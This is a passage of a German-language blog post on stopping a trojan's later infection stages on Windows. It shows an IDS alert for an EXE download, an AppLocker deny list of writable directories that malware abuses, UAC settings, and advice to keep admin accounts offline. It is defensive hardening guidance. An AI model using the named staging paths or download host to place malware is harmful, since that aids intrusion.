2	2	192.198.90.198	192.168.110.101 192.168.110.101	80 80	13959 13959	20:29:31 20:29:31	20:29:31 20:29:31	Misc activity Potentially Bad Traffic	ET INFO EXE - Served Attached HTTP ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	shared034.hosixy.com shared034.hosixy.com	WS-CL1.ws.its WS-CL1.ws.its

Natürlich würde diese EXE-Datei nach dem Download auch die Festplatte des Clients berühren, wo der Virenscanner wieder aktiv untersuchen kann. Aber wie gesagt: der Scanner kann getäuscht werden oder den Zustand noch nicht kennen. Zudem gibt es immer wieder auch PowerShell-Codes, die ausschließlich im Arbeitsspeicher landen...

Sollte es die EXE-Datei tatsächlich auf das Zielsystem geschafft haben (es ist möglich, denn kein Filter arbeitet perfekt!), dann wird es langsam problematisch.

<u>Stage 5 – die EXE #1</u>

Ich gebe vielen unserer Nicht-Windows-Administratoren Recht: das man unter Windows als einfacher Benutzer nahezu fast alles ausführen kann ist einfach ein Unding. In der Enterprise-Edition gibt es aber den Applocker. Mit dieser Betriebssystem-Komponente kann über zentrale Richtlinien gesteuert werden, wer was ausführen darf:

GPO-Computer-Security-Applocker [S-DC1.CRASHW 🔺	Action	User	Name	Condition	E
V 🛃 Computer Configuration	Denv	Everyone	%WINDIR%\SERVICING\SESSIONS*	Path	
✓ ²¹ Policies	Denv	Everyone	%SVSTEM32%\MICROSOFT\CRVPTO\DSS\MACHINEKEVS*	Path	
> Software Settings	Denv	Evenione	%/WINDIR%/TEMD/*	Dath	
✓	Deny	Everyone		Dath	
> Mame Resolution Policy	ODeny	Everyone	%WINDIR %(SERVICING (PACKAGES)	Path	
Scripts (Startup/Shutdown)	Deny	Everyone	%SYSTEM32%(MICROSOFT(CRYPTO(RSA(MACHINEREYS))	Path	
> 💼 Deployed Printers	Allow	Everyone	(Default Rule) All files located in the Program Files folder	Path	
✓ [™] / ₁ Security Settings	Deny	Everyone	%SYSTEM32%\TASKS*	Path	
> 📑 Account Policies	Allow	Everyone	(Default Rule) All files located in the Windows folder	Path	
> 🧃 Local Policies	Deny	Everyone	%WINDIR%\TASKS*	Path	
> 🗿 Event Log	Deny	Everyone	%SYSTEM32%\SPOOL\DRIVERS\COLOR*	Path	
> 🙀 Restricted Groups	🚫 Deny	Everyone	%SYSTEM32%\TASKS*	Path	
> 🔂 System Services	MIIow	BUILTIN\Administrat	(Default Rule) All files	Path	
> 强 Registry					
> 🙀 File System					
> Wired Network (IEEE 802.3) Policies					
> indows Firewall with Advanced Se					
Network List Manager Policies					
> 🗽 Wireless Network (IEEE 802.11) Polic					
> Public Key Policies					
> Software Restriction Policies					
 Application Control Policies 					
V C AppLocker					
> 📑 Executable Rules					
> 🔂 Windows Installer Rules					
> 🧾 Script Rules					
> 🔤 Packaged app Rules					
> 🥄 IP Security Policies on Active Direct					

Ein Start des Trojaners würde dann so aussehen:

🛄 🖸 🎩 =	Application Tools	AppData				
File Home Share	View Manage					
\leftarrow \rightarrow \checkmark \uparrow \blacksquare \rightarrow Test,	Tessa > AppData >				v ت	Search AppData
📌 Quick access	Name	Date modified	Туре	Size		
Desktop 🖈	📕 Local	25/02/2019 17:40	File folder			
Downloads	LocalLow	15/10/2018 17:34	File folder			
Downloads A	Roaming	18/02/2019 15:49	File folder			
Documents 🗶	III 345.exe	18/02/2019 15:37	Application	132 KB		_
Nusic	Thi	s app has been blocl	ked by vol	ur svstem		
Videos OneDrive	adr	ministrator.	,,,	,		
🍮 This PC	Conta	act your system administrator for more	info.			
🐠 Network				Copy to clipboard	Close	

Natürlich gilt auch hier: der Applocker hält zunächst nur ausführbare Dateien auf. Scripte oder InMemory-Anwendungen interessieren ihn erst einmal nicht.

<u>Stage 6 – die EXE #2</u>

Die 2. Anwendung hätte man mit den Maßnahmen der anderen Stages ebenfalls aufgehalten: der Applocker hätte die Ausführung verhindert und die Firewall und das IPS hätten die Kommunikation nach außen einschränken können.

Zusätzlich wäre aber auch die Tarnung und die Persistence (also das dauerhafte Einnisten) abzuschwächen. Ihr habt gesehen, dass sich die Datei als Service registriert, wenn der infizierte Benutzer über lokale Administratorrechte verfügt. Eine konfigurierte Benutzerkontensteuerung hätte dies auch verhindert. In einem weiteren Test hatte ich der Benutzerin Tessa.Test auch lokaladministrative Rechte gegeben – und dann hab ich die UAC auf maximalen Schutz konfiguriert. Das Ergebnis: die 2. EXE hat sich auch nur mit einem AutoRun-Eintrag registriert, da sie sonst mit einem UAC-Promt auf sich aufmerksam gemacht hätte. Ohne administrative Rechte wäre es natürlich auch nicht zu einem laufenden Service gekommen.

💔 User Account Control Se	ttings		21 <u>-</u> 1	×
Choose w User Accoun Tell me more	hen to be notif t Control helps prev about User Accour	fied about changes to your computer vent potentially harmful programs from making changes to nt <u>Control settings</u>	your computer.	
Always n	otify			
-	- Def	fault - Always notify me when:		
	- ·	Apps try to install software or make changes to my computer		
	•	I make changes to Windows settings		
_	- 1			
_	0	Recommended if you routinely install new software and visit unfamiliar websites.		
Never no	tify			

Dieser Ansatz ist durchaus eine Überlegung wert: "Administratoren bzw. administrative Konten kommen nicht ins Internet und Konten mit Internetzugang bekommen keine administrativen Rechte". Das Administrieren wird natürlich nicht mehr so bequem sein – aber es ist ein guter Schritt in Richtung sichere Systeme.

<u>Fazit</u>

Es braucht durchaus unwissende Benutzer und fehlende oder mangelhafte Sicherheitsstandards, damit eine Infektion funktioniert. Aber denkt daran: es genügt EIN kompromittiertes System. Die Techniken werden immer raffinierter. Ist eure Infrastruktur darauf vorbereitet? ③